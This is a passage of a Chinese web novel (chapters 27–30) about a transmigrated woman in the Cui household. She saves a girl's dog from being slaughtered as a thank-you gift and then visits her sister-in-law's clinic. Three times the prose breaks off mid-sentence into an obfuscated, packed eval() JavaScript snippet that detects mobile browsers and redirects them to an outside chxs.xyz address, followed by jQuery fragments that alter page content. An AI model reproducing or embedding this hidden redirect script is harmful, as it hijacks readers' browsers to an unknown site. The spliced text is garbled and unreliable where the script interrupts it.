心下一动,她明白这是他在担忧自己,所以才来不及收拾妥当。
不过……
“崔清婉”强迫自己将欣赏的目光自某人饱满的胸膛前收回,她的视线向后一探,自然落在其背后气息不稳且衣衫皱乱的曲游欢身上。
嗯?真是奇怪,为何崔皓羿与曲游欢一同赶来,难道入夜后他们便在一起吗?
不过一个是崔家郎君,一个算是崔府门客,即便晚上交谈些什么也合理吧?
但话又说回来,他俩这衣服,一个胡乱穿上,一个皱皱巴巴的……
嘶——莫非!!
脑中冒出的大胆想法让“崔清婉”的眸子瞬间睁大,也就是在同一时刻,那被无端揣测的男子与她齐声开口——
“你与他?”
“你与她?”
“啊?”
“……?”
不似正半蹲着搂抱女童的“崔清婉”发出疑问,崔皓羿无声的困惑更显单纯。
很明显,他完全想不到就这么短暂的几眼打量,自己在对方心中竟无端多了一段煞有其事的艳闻。
任亲勋翊卫羽林中郎将一职,崔皓羿向来恪尽职守,今晚趁着夜色尚早,他吩咐下人备好热水,打算洗尽身上的疲惫,明日一早好赶赴皇城继续巡察警戒的工作。
可哪曾想,他方沐净头发正泡在浴桶内养神时,屋外急切又哀求的声音便打断了他。
先是贴身侍从在屋外一阵低语,随后便是推屋进门后的转述——
“曲乐师惊恐焦急,似因午后曲舞姬独自探望四娘子至今未归,他本在府内找寻,但方才听得有女子尖叫,一时慌张,跌跌撞撞闯入衡兰馆。”
樛木恭敬地倾靠在屏风外侧,声音不轻不重,他服侍崔皓羿多年,答起话来也是简明扼要。
“女子尖叫?可知是从何处传来?”
隔着屏风,崔皓羿的声音带有被热水浸润过的怠缓,略一停顿,再开口时他多了几分清醒。
“也罢,他初来乍到,怕是辨不清方向,这样,你多带几名人手,同他一起排查舞姬踪迹,而诸如水池、水井之类,要格外留心,优先查看,切记,别让府内再出什么岔子。”
“是……”
樛木垂首应诺,但一息之后,他仍保持着方才的恭敬模样。大抵是未曾听到他出屋的动静,隔着屏风,崔皓羿略倦怠的声音再度传来。
“樛木?既应答,何故还在屋内?”
“阿郎。”
樛木朝着屏风方向又倾了倾身子,他压低声音,言语间竟也多了丝鲜有的迟疑。
“这……非我言不祥之语,只是方才我询问曲乐师时,见他遥遥相指叫声来源……嗯……似是灼玉苑方向,不过府内最严备之处便是那儿,兴许是曲乐师记错了——”
樛木犹豫的话音未落,屏风里侧骤然溢出一阵哗哗的水声,接着,只听得利落抖动衣物的穿戴声充斥了整间屋子。
“吩咐柏舟速去排查曲舞姬踪迹,你同我先往灼玉苑。”
简单套上里衣,樛木瞧见出浴人还未擦干双脚便踩上靴子准备出门,还好他早在心中估量过他家三郎君大概会有的举动,于是及时从衣桁上取下大氅为其披上。
不消片刻,步履匆匆的崔皓羿已率着三二仆从径直赶到灼玉苑来。
一路赶来,崔皓羿脑中也划过许多猜测,但他不曾想过自己看到的竟会是委“魂”在自己胞妹身体上的“阿婉”搂抱着一个小小身影,而看上去,那孩子似乎是抽泣不止。
被强借来的魂、女子尖叫、陌生孩童、搂抱哭泣。
当这样的词汇组合在一起,崔皓羿脑中下意识便为它们编成一个令人信服的理由——孤魂飘荡,异乡他客,亲人相认,情难自已。
他寻得理由够快,“崔清婉”那边脑补的内容也足够精彩,于是,就有了开头的一幕。
“咳嗯……”
并不知晓对方因何缘故与自己同时发问,“崔清婉”轻咳一声,有意拖长声调来思考眼前的状况。
坦然而言,她并不认为崔皓羿是个行为放荡的人,更别说这种在崔府内对乐师行苟且之事的行径,况且就算崔皓羿实实在在有龙阳之好,他也没必要如此按捺不住对自己带回的人下手。
想必事情根本没有这么复杂,只是走得急弄乱了而已,可怜她在现代生活时听说过太多让人瞠目结舌的事,所以才会下意识弹出这种想法。
罪过罪过,抱歉抱歉。
“崔清婉”在心中双手合十诚恳道歉,面上却是不露声色地扯开话题。
“看三哥行色匆忙,想来是为我担忧,现下我一切都好,还望三哥宽些心,早点回去休息要紧。”
“无事便好,时辰尚早,也不耽误休息,”崔皓羿扫了一眼院中的状况,随后又看向她怀中搂抱着的孩童,“不过这孩子……”
“啊,这娃娃呀。”
她站起身子,双手仍旧搂抱孩童在自己衣裙前,她抚着那瘦小脊梁,赔笑开口。
“她是为归还我弄丢的披衫,除此之外,她似乎还有别的事找我,但眼下还没说清楚,小孩子嘛,需要一点儿耐心的。”
“原是如此。”
崔皓羿点点头,没有再明说什么,他只是偏过头,对着身旁的樛木耳语一番,待对方下去,才再度回过头来。
“虽说这孩子是有求而来,但她能进府,也是宅院内警戒不严、家仆有疏忽所致,这孩子的过错我尚可原谅,可下人们的失责必须严惩。”
“……哦。”
试图反驳些什么,可半开合的双唇愣是找不到一个合适的词汇,最终只能闷闷地回了声“哦”。
不是说“崔清婉”伪善或者冷血,只是她实在想不到该如何劝说,因为崔皓羿说的没错,失职确实该罚。
她无意攻击这个时代的运行方式,她迫不得已的穿越只是为了救自己附体养魂的这个人,至于旁人,她除却惋惜可怜,似乎也做不了别的什么。
……
真的做不了吗?
心底的发问让“崔清婉”朝地面斜了斜目光,她再度心虚起来。
只是与方才无端误解了崔皓羿不同,那时的心思只是戏谑,即便脱口而出也不代表她在意什么,可此时的念头,却是她切切实实拿不准自己所处的位置。
嗯……
好嘛,先听听他怎么惩罚,若是过分了再劝阻也不迟。
“府中其他疏漏之处待樛木查明后自会告
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14936010|159629||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
知三姐,到时由三姐定夺,但阿婉院中仆从如何惩处,还是看阿婉的意思。”
?
怎么回事,怎么把问题抛给了我?
被崔皓羿提到的“崔清婉”有一种上课被老师叫上黑板写答案的绝望感,她抚在女童背上的手一顿,然后试探着开口:“那……罚一个月的月钱?”
“只罚一个月的月钱?若是以往出了如此大的纰漏,不论是哪位兄长或是阿姐,定会将主要涉事家仆逐出崔府,其他连带责任者一并罚三个月的月钱。”
随着崔皓羿悠悠而言,“崔清婉”不禁倒吸口气,忙着就想改口再增加一个月的上限,可当她正要言语时,又看到崔皓羿目光中的制止之意。
崔皓羿以极小的幅度摇摇头,然后扫视四下一周,语气又威严几分。
“总归还是四娘仁善,深知你们被选到灼玉苑内服侍不足半月,恐惩罚重了,你们畏她惧她,在苑内做工时惶惶不可终日。”
“所以此次只略施小惩,希望你们记得,往后值守服侍时务必要打起十二分的精神,否则就算四娘再不忍,崔府也绝不留疏忽怠惰之人。”
“是。”
跪着的,旁边候着的,凡属灼玉苑的仆从都垂首称是。
“崔清婉”看着眼前这一幕,不觉有些哑然,倒是也曾听过驭下之术,但当这么直晃晃摆在眼前时,总觉得有些啼笑皆非。
罢了,这是人家家规,自己又能多嘴什么?
横竖是罚了这些仆从的月钱,虽说不能背后偷偷发放以免驳了崔皓羿的威信,但不时找个由头赏给他们一些物资作为补偿,应该是没问题的吧?
“阿婉?”
讲话完毕后,崔皓羿对着她轻轻唤了一声,而后将视线在她与她怀中搂抱的孩童间不断游走。
接收到眼神的“崔清婉”一下子便领会了对方这个欲言又止的示意,她冲着崔皓羿摇摇头,接着蹲下身来,再度与这娃娃平视。
“还难过吗?要是不哭了,能不能回答姐姐一些问题?”
“呜……嗯……”
女童一边抽泣一边抿紧双唇点点头,她那一双小手狠狠揉搓着眼眸,准备着好好回话。
见状,“崔清婉”从怀中掏出一方丝帕,将其代替女童沾染尘土的小手来擦拭泪雾。
“你刚刚说的‘福仔’是什么?为什么你让姐姐不要吃掉你的‘福仔’?是谁告诉过你姐姐要吃‘福仔’吗?”
怕小孩子表达含糊,所以“崔清婉”相问时,问题既明确又详细。
“福仔是……是……呜……”
抽泣不断,所以出口的话也碎成一片一片,半蹲着身子的“崔清婉”耐心等着,目光温和,不见一丝催促的神色。
几步外的崔皓羿也保持着恰到好处的沉默,他谨慎地没有上前去,生怕自己给这娃娃造成压迫感。
而站在后方许久未吱声的崔皓月见二人站在院子当中,皆是一副专注交谈忘记移身的模样,顿感头痛,他紧着牙关抬手向眉间揉按去,略重的手劲儿让那粒浅痣都鲜红了些。
“苍天!真是三姐不在这儿,都没人管得了你俩了是吗?我那心有灵犀的三哥四姐,此刻你二人一个是身子羸弱,一个是衣着单薄,有什么话不能进屋说,非得在院子里灌冷风?”
见二人还没动静,崔皓月一声叹气,招招手让苑内的侍从们该退下的退下,该服侍娘子郎君进屋的进屋,他自己也是一甩衣袖,将手互揣着闪进屋内。
而趁着众人行动,曲游欢也连忙赶到曲知笙身边,耳语几句后,便拽着对方匆匆退下了。
28.装怯作勇
坐在月牙凳上的女童双膝并拢,那小小的膝头上托着方才被崔家娘子塞到怀里的暖炉,一双瘦巴巴的小手局促地摩挲着花纹繁复的炉盖。
这样精致还温暖的物件儿她是第一次看到,她好奇,却也不敢发问,她垂着头颅乖巧而怯弱地听候发落。
她知道她求对了人,她的福仔可以活下来,可她不知道她会被怎样对待,不是被崔家的这几位如何对待,是她不知道她回家后会被她家里人如何对待。
她欣喜,她也害怕;她期待,她也抗拒。
矛盾的心情让一张稚嫩小脸变得紧绷绷的,透不出丁点儿天真模样。
“别担心,四娘人很好,她一定会帮你,你看,这是四娘吩咐我给你取来的糕点,吃一些吧?”
被温声对待的女童怯生生地抬眼看去,只见一位粉雕玉琢的小姐姐端着盛满糕点的碟子递到自己眼前,对方笑吟吟的模样让人很是安心,可她没有抬手去拿。
她咽咽口水,对着这个比自己大不了几岁的小姐姐,小心翼翼地开了口。
“侍女姐姐,我……要不我先回家吧……”
“嘻,瞧你紧张的样子,怎么现在没有闯进我们院子里的胆量啦?”
晴眉用手指勾了勾女童的小脸,弯弯眼眸一声轻笑。
“放心,三郎君已经遣人去你家中报平安了,你不必着急。你唤我晴眉就好,其实我也没比你大几岁,前三四年我还与你梳一样的头发呢,只是我们崔府下人一直衣食不缺,我这才比你长得高了些。”
“给,你赶紧吃几块糕点,等你再长大一点儿,你家里人就不会不管不顾你的想法,随意处置你的小狗了。”
“晴眉姐姐……”女童试探着开口。
“哎,都叫我姐姐了,那就听姐姐的话,先吃点东西垫垫肚子吧?四娘已经吩咐下去,让膳房给你煮碗姜鸡索饼呢!”
“我和你说,你一会儿可要好好尝尝!这个姜鸡索饼可是我们这些下人庆生时才会被赏的佳肴,你一定没吃过!这可是我们三娘子酒楼里的秘方,寻常人想吃都不一定能定下呢……”
晴眉眉飞色舞地说着,满脸的笑意似乎也感染了女童几分,她先是垂下眼睛点点头,片刻后再抬眸时,她拘谨地从晴眉手中的盘碟内捏拿起一块。
轻轻就着四方糕点的一角轻轻地噬咬着,那柔缓慎重的模样就像是生怕给糕点惊醒从指间跳脱了。
“真好,这就对了,放心吧,你那福仔小狗的事,我们四娘和郎君一定会帮你解决妥当的。”
“嗯。”
女童闷闷地应答着,半低的脑袋似乎要遮掩眼眶中溢出的泪珠,晴眉瞧见,也不多言,只是将盘碟放在女童身旁的案桌上,然后向一旁撤开半步,不再去惊扰她。
大概是待在屋内的人多,此刻竟没有春夜特有的阴冷,唯有烛火直明。
一缕青烟倏而升起,向来心细的云岫瞧见,利索拿起剪子修理烛芯,她动作轻快,未曾碰出半点儿声响。
另一侧,崔皓月玩闹般从侍女手中夺过干燥帕子,而后一股一股地为崔皓羿绞着长发,只是他不仅手中忙活,连嘴上也不肯闲下。
“四姐姐怎么一言不发,是因这孩子的请求而烦心吗?”
听罢他的问话,“崔清婉”将目光从那道衣着寒酸的瘦小身影上收回并落到对方手中,用来绞干长发的绸布柔软顺滑,是上等面料,不过这在崔府也没什么可稀奇的。
“烦心?”
喃喃重复一遍,“崔清婉”神情未变,只是语气中有了明显的不快之意。
“我为什么要烦心?安雅小姑娘受委屈来求我,而我恰好能凭借身份抚平她的委屈,我何来烦心?”
“好好好,没烦心,不过也多亏四姐姐耐得住性子,柔声细语地哄着那小姑娘问了个明白,要不谁能知道她来是为了给她家狗子求情?”
崔皓月抖抖手中的绸布,候着的侍女将其接过,复又递上新的一条干燥帕子。
“原来小安雅所求之事在你看来也属意料之外,我还以为是我记不清过往,连这样的习俗都忘记了。”
“崔清婉”冷笑一声,话里话外满是刻薄,明显她是在气头上,连寻常时候的谨慎都顾不上了。
“我本想劝四姐姐宽心,但如此缘由,四姐姐动气也正常,毕竟我们下水救人时,可从没想过要收他们的谢礼,尤其这谢礼还是一位小姑娘爱犬的生命……”
崔皓月无奈,话说着便不自觉染上与“崔清婉”同样不满的情绪,手中绞着的动作也泄愤般加了些力气。
“嘁,我也不明白,他家父母怎么就会想着给我们送狗肉?难道我们崔家有谁在外表露过这样的癖好吗?”
“与癖好无关,想来这只是贫苦人家唯一能拿出的谢礼。”
似乎是被身后捣乱的崔皓月揪了发丝,崔皓羿吃痛地歪歪脑袋躲避着还在持续的蹂躏。
“上月借着中宫生辰,朝廷临时又向百姓们加了一通粮税,加之寒冬漫长,现今又恰逢春耕,能果腹对百姓们而言已是大幸,留在手中的钱粮更为匮乏。想必这狗肉,已经是他们眼下最拿得出手的贵重东西了。”
“可!”
想再争辩几句,却说了一个“可”字便哑火,“崔清婉”分不清是气是恼,只是听罢崔皓羿所言便感到心中酸涩,她泄愤般跺了一下脚,而后快走几步偏坐在角落里,撇下嘴角一言不发。
因屋内人格外怕寒气,所以这窗户是压得严严实实,绢纱蒙着窗棂,隐隐透露出其间的锁纹样式,不知贫苦人家的窗棂是什么模样,糊在上面的又是何种纸张?
许久,“崔清婉”终于缓缓开口,言语间,也恢复了一贯的平静。
“子贡赎人,不取其金,孔子曰‘鲁人不复赎人矣’;子路拯溺,后受其牛,孔子曰‘鲁人必拯溺者矣’。”
“书中的道理,我自以为自己读过不少,也明白一些,可今日之事,我只觉得为难。”
“我必然不会接受狗肉,换成其他物资,我也不想接受,我在府内生活已是优渥,何苦来接受他们用以度日的物件儿?”
“我当然知道他们心存感激,我也没有任何看轻他们的意思,可我就是不能接受……什么复不复善行,先贤说的话尽让人为难。”
最后一句显然是没有底气,她只能低着声音嘀咕一句。
“阿婉腹有诗书,真知灼见让为兄也自愧不如。”
本想从崔皓月手中接过帕子自己拭干发丝,却因为大氅之下只着里衣而不得不作罢,崔皓羿无奈瞥看崔皓月一眼,用眼神示意对方下手悠着点。
见状,崔皓月狡黠一笑,被眉间的浅
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14936011|159629||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
痣衬着,怎么看都觉得是不怀好意。
“不过今日之事也算巧妙,若不得这安雅小姑娘的气魄进我崔府,只怕到时送来狗肉才真正让人为难。”
“现下我们已知安雅家中人的行动,只要想个两全之策既打消对方宰犬念头又能使之表达感谢便可,如此一来,阿婉也不会烦恼了。”
“问题的答案是什么,是答案,你这分明就是空话,现在难的不就是不知道怎么让对方换个感谢的内容嘛……”
“崔清婉”嘟囔着吐槽,她自然不是对崔皓羿不满,只是比起这些客套话,她更想得到有可行性的建议。
而一旁绞着自家兄长湿发的崔皓月察觉到她的烦闷,也开口分析道。
“四姐姐,我想关于安家人的感谢,我们最好还是不要拒绝,既然我们不愿接受他们的感谢内容,那最好的办法便是主动——”
“主动为他们创造个用以表达感谢的、且是我们所能接受的内容!”
是了,将主动权掌握在自己手中,这样的两全之策才最具备可行性。
顺着崔皓月话语作答的“崔清婉”松了口气,其实她一早就该想到的,只是方才被气恼又苦涩的心情冲昏了头脑,她甚至还因自己在崔府中享受的优越条件而产生了难以排解的羞愧。
其实根本不怪她,可她就是忍不住将一切错误揽在自己身上,也许她自己都没发现,她自醒来就处在一种镇定的焦虑状态。
罢了,先不纠结这些,现下要紧的是如何决定安家的感谢内容。
“崔清婉”转眸看去,却见被身后人耍弄着青丝的崔皓羿正对自己温和笑着,一副看穿了的神情。
“早在年初,二哥便提起过二嫂嫂的病坊内人手不足,我想若是如安雅小姑娘这样有心志的人前去,不仅每月可得一些银钱作为补贴,而且能随二嫂嫂学医术、识字读古籍,诸多益处摆在这儿,料想安家夫妇也不会拒绝。”
气定神闲,崔皓羿显然是早就考虑好,那他方才不说出来,还让自己思考,难道是某些人特有的“我来考考你”?
“崔清婉”懒得计较,只是补充了一句:“可我们也不能单方面决定,这个提议总得小安雅自己愿意才行。”
“是,娘子说得对。”
意识到自己称呼错了,崔皓羿迅速补上后半句话,想将这抹异常掩在平淡话语之中。
“若不去征求安雅小姑娘的意见,那我们崔家也和她父母的一意孤行没什么区嘶——阿月!”
“错了错了,三哥别回头!发丝打结和手指缠上了!”
“别,阿月你别硬拽他头发,慢点……”
本还严肃的商讨氛围,却因为最后这点岔子弄得不正经起来。
烛光下身影摇曳,听罢娘子郎君谈话后的云岫率先一步绕过屏风走到茶案旁,那名叫安雅的小丫头正在晴眉的低声笑语中享用索饼,乖巧又惹人怜爱。
云岫做了个噤声手势让晴眉收了话,她半蹲在月牙凳的一侧,对着瘦小女童轻声询问。
“安雅小姑娘,方才我家娘子与郎君出了主意,问你愿不愿意到崔家的病坊内做学徒,以此在你父母那儿替下被用作谢礼的福仔?”
“唔,”迅速咬断口中的汤饼,女童立马站起身来冲着云岫点点头,“我可以!只要不吃掉福仔我都可以!”
29.礼非琐礼
可能名叫安雅的小丫头根本没弄明白崔家娘子郎君到底出了什么主意,但想到能救自己养的福仔便一股脑儿地答应下来。
用完索饼后,她被那位稳重有威严的侍女姐姐告知,说是让她暂且在偏房里歇息一晚,待明日一早崔家会派人专门跟着她去拜访她的父母。
走在晴眉姐姐身后,安雅抱着沉甸甸又暖和的手炉准备退到侧屋。
临出门前,她似乎想要为今晚如梦似幻般的遭遇寻点真切感,于是趁着旁人不注意,她迅速回过头寻找那几位娘子郎君的身影。
屋内烛火摇红,似乎有人在向他们回禀什么,又隐隐听得如“园子修缮”、“通外面的洞”、“暂时用木板堵着”之类的话,剩下的还未听到,她便踏进月光之中。
其实她能猜到屋里在商讨什么,大概是自己偷偷溜进崔府的路线。
但她不明白,为什么那位温柔的崔娘子不直接问过自己,而是仅仅得知自己前来请求的事情便止了声,甚至还安排了好多好吃的给自己。
感激且忐忑,她不敢多嘴再去问些什么,她生怕自己说错一句话,然后就让这场美梦破碎。
她已经见过后巷小水家狗子在鲜血淋漓中瞪大的双目,她无法接受福仔也变成那个样子。
第二日一早,竟是那位说话稳重的侍女姐姐带了几位抬着粮食布匹的下人到了她家。
在一遍遍讲说中,她阿爷阿娘脸上的神情由惶恐变得难以置信,最后是欣喜若狂。
他们不停地点头哈腰,却只能用无措搓手来表达不安与感谢,而穿在他们身上简朴的灰色衣衫,此时也迸发出让人难以忽视的雀跃光采。
“看她年纪虽小,但有头脑有魄力,我们崔家有处病坊实在需要这样的好苗子来当个学徒帮衬大夫做事,所以我家娘子郎君特地派我前来聘请。”
“希望二位看在我家娘子救过你家娃娃的份上,就当是那日的谢礼,允了这桩请求吧。”
她并不清楚阿爷阿娘能不能信侍女姐姐所说的理由,但就最后阿爷阿娘让自己先跟侍女姐姐走,他们会给自己收拾些常用器具送过去的嘱托来看,这事已然成了,她的福仔不会有事了。
只不过真是遗憾,这么大的事匆匆决定,她甚至还没来得及向被拴在墙角但一直摇着尾巴的福仔告别呢。
可实际想想,像告别这样的礼节,狗狗是不会在意的,在意的只有人罢了。
连续多日劳累的崔家马车再一次于街道间辘辘作响。
坐在宽敞车厢内的“崔清婉”穿着严密,她就着尚可忍受的颠簸盯看手中纸条上的清秀小楷,心中对今日从崔府出发时所带的礼品清点了一遍又一遍。
俗话说“礼多人不怪”,即便崔清婉的二嫂嫂姬承梧已然知晓了有关小安雅的事,可现今的“崔清婉”还是认为,自己必须亲自拜会才说得过去。
四枚做工精致的铜铃系在车衡处,表面镂孔繁复,其内部铜丸和着富有节奏的马蹄声在所经之路留下清脆的金属余音。
栖凤城,鲤泮的皇都,以朱雀大街为中轴线,划分东西两界。
东界坊巷环绕东市而建,其间多为达官贵人居住,自然也常有外国使节与异族大贾走动,所售物品无一不是千金难买,正可谓“锦绣罗绮层叠道,金帛珠玉璨若星”。
而城西布局虽与城东一致,但行走在内的多为短衣布褐、贩夫走卒,比不上东市的奇珍琳琅,西市流通的往往是质朴实用的玩意儿,相较东界奢靡浮华之景,此处更有市井烟火的疏朗安心之意。
也因如此,“崔清婉”忍不住心中疑惑,她想不明白原身的这位二嫂嫂是如何说得动崔皓然,居然能允许病坊开在西市之内。
嘶……或许,姬承梧压根就不需要崔二郎君的允许呢?
缓舒一口气,“崔清婉”浅笑着摇摇头,她将目光收回,手中的纸条也卷折几下塞到了暗格中。
许是因为崔家马车的样式即便整体低调但也算奢华,所以一路走来,坊巷内或务工或闲聊的人们都急急避开,为其让开一条通顺的行道来。
未及两盏茶工夫,马蹄声已停,“崔清婉”也在晴眉的搀扶下踏落地面,一旁的云岫利索指挥着小厮们牵下马车并点数好礼品,随后便端庄恭敬地迈着碎步引“崔清婉”向病坊内走去。
并没有占据西市最繁华的地带,姬承梧所开的病坊坐落在集市的西北角上,虽是一座二层小楼,但斗拱不似寻常门楼般硕大,像是有意避让,免得官家闲话。
环绕这座屋子的直棂窗相较普通民众家的,竖格间隙更大些,想是为了保证新鲜空气的流通,故只在里层糊了毛头纸,而将外层的竹帘高高卷起。
“徐大嫂是个仔细人,药材交给她挑拣我放心,至于剩下的残渣碎末,也不必交还给我,我不需要。”
刚跨过低矮的门槛,“崔清婉”便听到一句清冷女声,向屋内瞧去,只见有道侧立着的飒爽身影正对着一农夫说些什么。
那浓密乌黑的发丝被绿檀弯月簪高高绾起,姬承梧不像初次探望自己时穿着华贵女裙。
今日她一袭浅柳色双折领窄袖长袍上身,腰间革带垂系香囊,腿上是墨色波丝裤,一整个胡人装束,那脚上的黑皮靴还沾染着尘土,显然是在这坊巷内多有奔波。
“觉得丢掉可惜?那就按以往我嘱托过的,去把它熬成药汤,当作茶水喝了便是,用不着顾虑我的想法,我说过了,我不需要。”
大概是说话间余光瞄到了进屋的“崔清婉”,姬承梧冲着那农夫斜斜目光。
“挑拣好的药材放在柜台上就行,你可以回家了,记得今年春耕别再让徐大嫂累着,去年的病根要祛不干净,那可是大麻烦。”
农夫模样的老实男人点着头,讪讪道了几句感谢的话,随后恭敬地向后退几步。
正准备转身离去,却在回首时看到多人随行的“崔清婉”,他身躯一震,忙是将头颅垂得更低,加紧脚步速速离开。
见状,“崔清婉”一挑眉,收回自己因对视而显现的习惯性客套微笑,装作什么都没发生的样子迎上前去,冲着姬承梧欠欠身子。
“见过二嫂嫂,不知二嫂嫂现下可还忙碌?那娃娃我带过来了。”
“嗯,暂有闲暇,事情原委我已从三弟那里听说了。”
姬承梧托扶起对方交叠在身前行礼的双手,而后目光越过捧着礼品的小厮,向后方那道略显拘谨的小身影招招手。
“安雅?过来些,让我瞧瞧。”
小安雅虽有些紧张,可还是快走几步,然后极为利落地对着姬承梧跪下一叩首:“见过师父。”
“倒是机灵。”
姬承梧淡然点头,弯腰将跪地的女童搀了起来。
“以后你就跟着我,不论是外出看诊,还是市集购药,一切多留心,有什么不懂的、不确定的,都直接来问我。”
“喏
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14936012|159629||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
。”小安雅眨巴眨巴眼睛,等待下一步的安排。
“随我行医,向来是没什么休息时间的,不过看你年幼,我许你每逢月中与月末各有一日回家探亲。”
“至于食宿,你同病坊内的其他帮工一样,都在后巷我租的大宅子里,由吴婆婆统一照看。”
“喏。”小安雅干咽一口唾沫,继续等待着。
“好了,叮嘱的话就这些,你现下在病坊内转转,熟悉熟悉环境,一会儿若有事,我自会传你。”姬承梧扬扬下颌,面上仍无太多情绪。
“喏!”小安雅应答干脆,又行了一礼。
能私闯崔府,安雅小丫头绝不是怯懦至极的孩子,可不知为何,在姬承梧身边,她就是一副不敢多言的敬畏模样。
此时得到能退下的指令,小安雅肉眼可见地松了口气,然后踱着轻快的小碎步一溜烟冲上了二楼。
瞧看女童在楼梯拐角处消失的身影,姬承梧叹口气,面色依旧平静却埋怨般喃喃自语道:“果然没法子讨孩童喜欢,看到我就像看到罗刹婆,都一个样儿。”
她声音不大,但让身旁的“崔清婉”听了个真切,正当“崔清婉”准备措辞想着该如何安慰对方时,姬承梧又悠悠地嘀咕出后半句话——
“一天到晚催催催,非要个孩子,让他寻良妾他又不愿意,日日费在床榻上的工夫都够我出几回外诊了。”
“咳咳咳!”
准备说的话没说出口,“崔清婉”一口气没上来,被自己口水呛到了气管,止不住地咳了起来。
见状,姬承梧抬手止住上前来的侍女,把着她的肩膀让她略弯了一些腰,而后用空掌心帮“崔清婉”轻缓地拍着背部。
“你啊,身子弱就多休养,今日这事让下人代为操办不就行了?非得自己来一趟,昨日折腾了半夜,想必都没休息好。”
“咳……咳嗯,多谢二嫂嫂关怀,我没什么事的,”
平平气息,“崔清婉”朝着姬承梧浅浅一笑。
“总之,二嫂嫂不嫌弃我添了这样大的麻烦,我真是感激不尽。”
“嗯,又是你一贯爱说的客套话。”
姬承梧摇摇头,面色仍是淡然。
“你看你带这样多的礼品来,我若不答应,岂不是要白白错过?况且,三弟特别交代过,往后这小安雅的月薪一概由他府上来出,如此省钱又省力的生意我断然没有拒绝的道理。”
“嗯?”
似乎还没反应过来对方说了什么,“崔清婉”下意识就想询问,只是还未开口,便被姬承梧用不容拒绝的手劲儿抓握住了纤纤手腕。
“行了,别傻站着,随我到里屋来,我再为你诊诊脉,你这身子,我最不放心了。”
还未回过神,“崔清婉”懵懵懂懂就被姬承梧拉拽着向屋内的一侧单间走去,她紧着双腿快走两步,随后心下一思忖,缓解尴尬般缓缓开口。
“二嫂嫂真是医者仁心,被我叨扰还记挂我身体,像二嫂嫂这样悬壶济世的医者,定受栖凤城里百姓们的爱戴。”
话音未落,那本拉着“崔清婉”手腕的姬承梧突地一愣,她半回过头,向来淡然平静的脸上竟也浮现出一丝玩味的笑意。
“悬壶济世?你可别将虚名垒在我头上,我只是被师父收养,耳濡目染下会些医术。至于你说的医者仁心,那不过是我对自己做的事情负责。”
“四妹妹,我治病救人可是要收钱的。”
30.旧病难医
治病救人需要收钱,这是无可指摘的,不过在得知姬承梧每年从崔家大郎君那边收取二百两白银时,“崔清婉”不免还是有些小小惊讶。
倒不是说讶异白银的数额,只是因为这种理念,简直和现代人的医疗保险没什么两样。
二百两白银是固定支出,与此对应的,是姬承梧为在京的崔家人每个季节进行一次的诊脉。
未雨绸缪,护卫健康,很好,不愧是崔家最顶梁柱的存在。
如果她不是被开了十几副中药的话,就更好了。
“崔清婉”看着放下礼品,转而提起一摞摞中药包的随行仆从们,心中无奈叹气。
她倒是不知道这副身体到底算哪种程度的健康,毕竟也没体检报告不是?反正看崔家二嫂嫂姬承梧在为自己把脉时那逐渐皱紧的眉头,她便知这身体虚得很了。
眼观鼻、鼻观心,她乖巧地坐在一旁的竹椅上不作声,等待对方为自己抓草药。
只是在对方转身拿药材时,她还是迅速起来踮着脚尖看了眼柜台上放着的药方——墨迹并未干透,略微不展的纸张呈着娟秀小楷——谢天谢地,要是像现代医生写的那般,她只能看着干着急了。
益母草、当归、茜草炭……后面还写了许多,但看不真切了。
不过只是看到这几味药材,她心中便有了个七七八八,俗话说久病成医,即便她未曾真正学习过,但对常见药材的疗效还是有几分了解的。
况且,现代社会生活下的女孩子似乎很容易就得关于经期紊乱的病症,起码,她就是其中一员。
学业烦恼?就业压力?饮食不健康?作息不规律?
她也不知道究竟是什么导致了生理期的问题,但她身边很多同龄的女孩子都这样,甚至去医院时,医生都会宽慰她们一句——
“你年纪轻轻怎么会有这些问题?不过现在的小姑娘这样子也挺常见,不用太担心,慢慢治”。
看嘛,医生都说常见了,那想必也不会是什么大病了吧?
只不过也不会真是小病,毕竟光说流血这个状态,就挺耗人。
但姬承梧为崔清婉身体开的这个药方挺奇怪,前两味自己是知道的,活血的,那这个茜草炭是什么来着?
“益母草……当归……这都是些活血的药材。”
既然不是什么其他问题,“崔清婉”也就放弃了遮掩自己偷看药方的行为,她仍踮着脚尖专注看向柜台,装作寻常地念叨了几句。
“四妹妹倒是博学。”
姬承梧的视线并未离开秤杆,只是淡然应答一句,随后又往称盘中抓取了几块棕褐色的团状药材。
“哪儿能算得上博学,我顶多算个半吊子,只不过是看了医书中的只言片语便想卖弄,但又记不真切,还好有二嫂嫂这样精通药理的大夫在这儿,我尚且能充当学童问上一问。”
